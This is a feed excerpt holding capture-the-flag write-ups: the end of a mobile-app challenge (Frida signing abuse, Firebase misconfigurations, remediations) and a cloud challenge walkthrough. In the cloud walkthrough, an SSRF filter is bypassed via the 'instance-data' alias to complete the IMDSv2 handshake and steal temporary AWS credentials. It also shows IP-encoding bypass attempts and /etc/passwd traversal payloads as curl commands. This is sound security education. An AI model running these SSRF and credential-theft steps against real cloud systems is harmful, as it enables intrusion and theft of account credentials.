     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"admin","role":"admin"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Welcome, admin."&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+------------------------+
|  APK Static Analysis    |
|  (unzip, strings, jadx) |
+-----------+--------------+
            |
            v
+----------------------------------+
| Flag 1: The Library               |
| strings libfam.so                 |--&amp;gt; FAM{str1ngs_d0nt_l13...}
| (plaintext in .rodata)            |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 2: The Database               |
| Recover API key from source -&amp;gt;    |
| anonymous signUp REST call -&amp;gt;     |--&amp;gt; FAM{4n0n_4uth_1s_n0t...}
| curl .../flag.json?auth=&amp;lt;token&amp;gt;   |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 3: The Vault                  |
| 1. logcat/Burp attempts fail      |
|    (gRPC, no debug log)           |
| 2. objdump getDebugToken -&amp;gt;       |--&amp;gt; FAM{4pp_ch3ck_byp4ss...}
|    XOR decode -&amp;gt; debug token      |
| 3. exchangeDebugToken REST -&amp;gt;     |
|    App Check JWT                  |
| 4. GET Firestore doc w/ both      |
|    Auth + AppCheck headers        |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 4: The Endpoint               |
| Static analysis of computeSignature|
| (custom hash, too complex to      |
| reimplement quickly) -&amp;gt;           |--&amp;gt; FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
| Frida hook forces native code to  |
| sign a forged admin body -&amp;gt;       |
| replay signed request via curl    |
+--------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;The Library&lt;/td&gt;
&lt;td&gt;Hardcoded flag in native library &lt;code&gt;.rodata&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Trivial extraction via &lt;code&gt;strings&lt;/code&gt;; no obfuscation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;The Database&lt;/td&gt;
&lt;td&gt;Overly permissive RTDB rule (&lt;code&gt;auth != null&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Any anonymous client can read protected data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;The Vault&lt;/td&gt;
&lt;td&gt;App Check debug token embedded (XOR'd) in shipped binary&lt;/td&gt;
&lt;td&gt;Defeats App Check's purpose; static XOR is not real obfuscation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;The Endpoint&lt;/td&gt;
&lt;td&gt;Client-side request-signing scheme with all key material in the APK&lt;/td&gt;
&lt;td&gt;Any party who controls the client (or hooks it at runtime) can sign arbitrary, privilege-escalated requests - the server has no way to distinguish a legitimate client from a hooked one&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Remediations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Never embed secrets, flags, or debug credentials in shipped binaries.&lt;/strong&gt; Native code is fully extractable via &lt;code&gt;strings&lt;/code&gt; and disassembly. App Check debug tokens should be scoped to CI/emulator builds only and never included in a distributed APK.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Firebase security rules should distinguish identity providers&lt;/strong&gt;, not just check &lt;code&gt;auth != null&lt;/code&gt;. Sensitive reads should require &lt;code&gt;auth.token.firebase.sign_in_provider != 'anonymous'&lt;/code&gt; or a custom claim proving a verified identity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client-side signature schemes are only as strong as their key material and their execution environment.&lt;/strong&gt; Even a cryptographically sound signing algorithm is worthless if the client that computes it can be hooked (Frida, Xposed, etc.) to sign attacker-chosen payloads. Any privilege-sensitive check - like &lt;code&gt;role: admin&lt;/code&gt; - must be enforced and authorized server-side, never trusted purely because a client-supplied signature validates.&lt;/li&gt;
&lt;li&gt;Rotate the exposed Firebase Web API key and App Check debug token if this project configuration is reused outside the CTF context.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>famctf</category>
    </item>
    <item>
      <title>FAM CTF : The Cloud writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 18 Jul 2026 12:03:19 +0000</pubDate>
      <link>https://dev.to/exploitnotes/fam-ctf-the-cloud-writeup-3kb3</link>
      <guid>https://dev.to/exploitnotes/fam-ctf-the-cloud-writeup-3kb3</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;The target exposed a webhook endpoint (&lt;code&gt;/internal/webhook&lt;/code&gt;) meant to act as an&lt;br&gt;
internal-only proxy, blocking direct requests to private and link-local IP&lt;br&gt;
ranges. That blocklist checked resolved IPs but missed a legacy EC2-internal&lt;br&gt;
DNS alias (&lt;code&gt;instance-data&lt;/code&gt;) that still resolves to the IMDS service. Since the&lt;br&gt;
webhook transparently forwarded HTTP methods and headers, it was possible to&lt;br&gt;
complete the full IMDSv2 token handshake (&lt;code&gt;PUT&lt;/code&gt; for a token, then &lt;code&gt;GET&lt;/code&gt; with&lt;br&gt;
that token) through the SSRF, stealing the EC2 instance role's temporary AWS&lt;br&gt;
credentials. Those credentials could list the target S3 bucket but not read&lt;br&gt;
objects directly, due to a bucket policy restricting &lt;code&gt;GetObject&lt;/code&gt; to requests&lt;br&gt;
originating from inside the VPC. Generating a SigV4 presigned URL locally and&lt;br&gt;
then replaying it &lt;em&gt;through the same SSRF&lt;/em&gt; let the EC2 instance itself issue the&lt;br&gt;
final &lt;code&gt;GET&lt;/code&gt;, satisfying the VPC-source condition and returning the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;FAM{cl0ud_ssrf_imds_aacb179e691f}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Poking at the app
&lt;/h2&gt;

&lt;p&gt;Started by just hitting the root page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returned a dashboard HTML page listing a handful of API routes: &lt;code&gt;/status&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;/metrics/system&lt;/code&gt;, &lt;code&gt;/metrics/config&lt;/code&gt;, &lt;code&gt;/metrics/endpoints&lt;/code&gt;, and a POST-only&lt;br&gt;
&lt;code&gt;/internal/webhook&lt;/code&gt;. Walked through them one at a time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/status | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just health/version info, nothing interesting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/metrics/system | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This leaked the box's internal hostname: &lt;code&gt;ip-10-20-1-112.ap-south-1.compute.internal&lt;/code&gt;.&lt;br&gt;
Filed that away.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/metrics/config | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was the important one. It dumped a config blob including:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"imds"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://169.254.169.254/latest/meta-data/iam/security-credentials/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"credentials scoped to storage prefix only"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"provider"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ec2-instance-metadata"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"storage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"backend"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"s3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"bucket"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fam-ctf-cloud-challenge"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bucket access restricted to requests originating from within vpc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"prefix"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"players/2301"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the goal became clear early: get to IMDS, get creds, use them on that bucket.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/metrics/endpoints | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed the route list, and noticed &lt;code&gt;/internal/webhook&lt;/code&gt; accepts &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;,&lt;br&gt;
&lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;PUT&lt;/code&gt; - odd for a webhook, and that detail mattered later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://13.206.97.85/internal/webhook | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Calling it with no params returned its own documentation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"POST /internal/webhook?url=&amp;lt;target&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Classic SSRF proxy. Time to see what it actually blocks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fighting the filter
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/'&lt;/span&gt; | jq
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://localhost/'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three came back identically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Direct access to internal IP ranges is not allowed."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"hint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Try harder. The instance has a name."&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even the IMDS IP itself got blocked, despite the docs claiming it was allowed -&lt;br&gt;
so that "usage note" was misleading, not a real permission. Tried the usual&lt;br&gt;
SSRF bypass tricks next, on the theory the filter might just be doing a dumb&lt;br&gt;
string match on the URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq        &lt;span class="c"&gt;# decimal IP&lt;/span&gt;
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq        &lt;span class="c"&gt;# hex IP&lt;/span&gt;
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq
curl &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single one got blocked with the exact same error. That was actually a&lt;br&gt;
useful negative result - it meant the filter wasn't doing naive string matching,&lt;br&gt;
it was resolving DNS and checking the &lt;em&gt;resulting&lt;/em&gt; IP against a private/link-local&lt;br&gt;
blocklist. All the tricks above still resolve to a blocked IP, so of course they&lt;br&gt;
failed.&lt;/p&gt;

&lt;p&gt;Also tried path traversal on the static file route, just to rule out an easier bug:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 10 &lt;span class="s1"&gt;'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'&lt;/span&gt;
curl &lt;span class="nt"&gt;-m&lt;/span&gt; 10 &lt;span class="s1"&gt;'http://13.206.97.85/static/....//....//....//....//etc/passwd'&lt;/span&gt;
curl &lt;span class="nt"&gt;-m&lt;/span&gt; 10 &lt;span class="nt"&gt;--path-as-is&lt;/span&gt; &lt;span class="s1"&gt;'http://13.206.97.85/static/../../../../etc/passwd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 404s - Flask normalizes &lt;code&gt;../&lt;/code&gt; in routing before the traversal even reaches&lt;br&gt;
the handler, so that was a dead end.&lt;/p&gt;

&lt;p&gt;Then tried pivoting straight to the public S3 endpoint, since &lt;code&gt;*.amazonaws.com&lt;/code&gt;&lt;br&gt;
was supposedly allowed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 20 &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one didn't get the filter's rejection message at all - it just hung and&lt;br&gt;
timed out. That told me the URL passed validation, but the box has no real route&lt;br&gt;
to the public internet (no NAT/IGW), so straight-to-S3 wasn't going to work either.&lt;/p&gt;
&lt;h2&gt;
  
  
  The actual bypass
&lt;/h2&gt;

&lt;p&gt;Kept coming back to that hint: &lt;em&gt;"the instance has a name."&lt;/em&gt; Already tried the&lt;br&gt;
&lt;code&gt;compute.internal&lt;/code&gt; hostname and it got blocked (since it still resolves to the&lt;br&gt;
private IP). But there's an older, less common EC2-internal DNS alias for the&lt;br&gt;
metadata service specifically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This got through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://instance-data/latest/meta-data/iam/security-credentials/"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not blocked by the filter anymore - a real 401 coming back from IMDS itself.&lt;br&gt;
Checked the plain metadata root too, same 401:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 401 straight from IMDS on a GET usually means IMDSv2 is enforced - it wants a&lt;br&gt;
session token first via a &lt;code&gt;PUT&lt;/code&gt; to &lt;code&gt;/latest/api/token&lt;/code&gt;. Tested whether the&lt;br&gt;
webhook would even forward a PUT and a custom header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-aws-ec2-metadata-token-ttl-seconds: 21600'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got a &lt;code&gt;405&lt;/code&gt; back (wrong method, as expected for IMDSv2's token endpoint), which&lt;br&gt;
at least confirmed the webhook was passing my HTTP method through to the target.&lt;br&gt;
Switched to PUT with the required header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-aws-ec2-metadata-token-ttl-seconds: 21600'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That worked - got a token back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the webhook wasn't just forwarding methods, it was forwarding headers too.&lt;br&gt;
Used the token to list the role name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'url=http://instance-data/latest/meta-data/iam/security-credentials/'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=='&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got back &lt;code&gt;ctf-cloud-player-2301&lt;/code&gt; as the role name, then fetched the actual&lt;br&gt;
credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=='&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returned a full set of temporary AWS creds - &lt;code&gt;AccessKeyId&lt;/code&gt;, &lt;code&gt;SecretAccessKey&lt;/code&gt;,&lt;br&gt;
and a session &lt;code&gt;Token&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Using the stolen creds
&lt;/h2&gt;

&lt;p&gt;Exported them and confirmed identity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ASIAYLZKVQD4NQMHDXAX"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ap-south-1"&lt;/span&gt;

aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed as &lt;code&gt;assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25&lt;/code&gt;. Listed the&lt;br&gt;
bucket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://fam-ctf-cloud-challenge/players/2301/ &lt;span class="nt"&gt;--recursive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found &lt;code&gt;players/2301/flag.txt&lt;/code&gt;. But actually reading it was blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://fam-ctf-cloud-challenge/players/2301/flag.txt -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





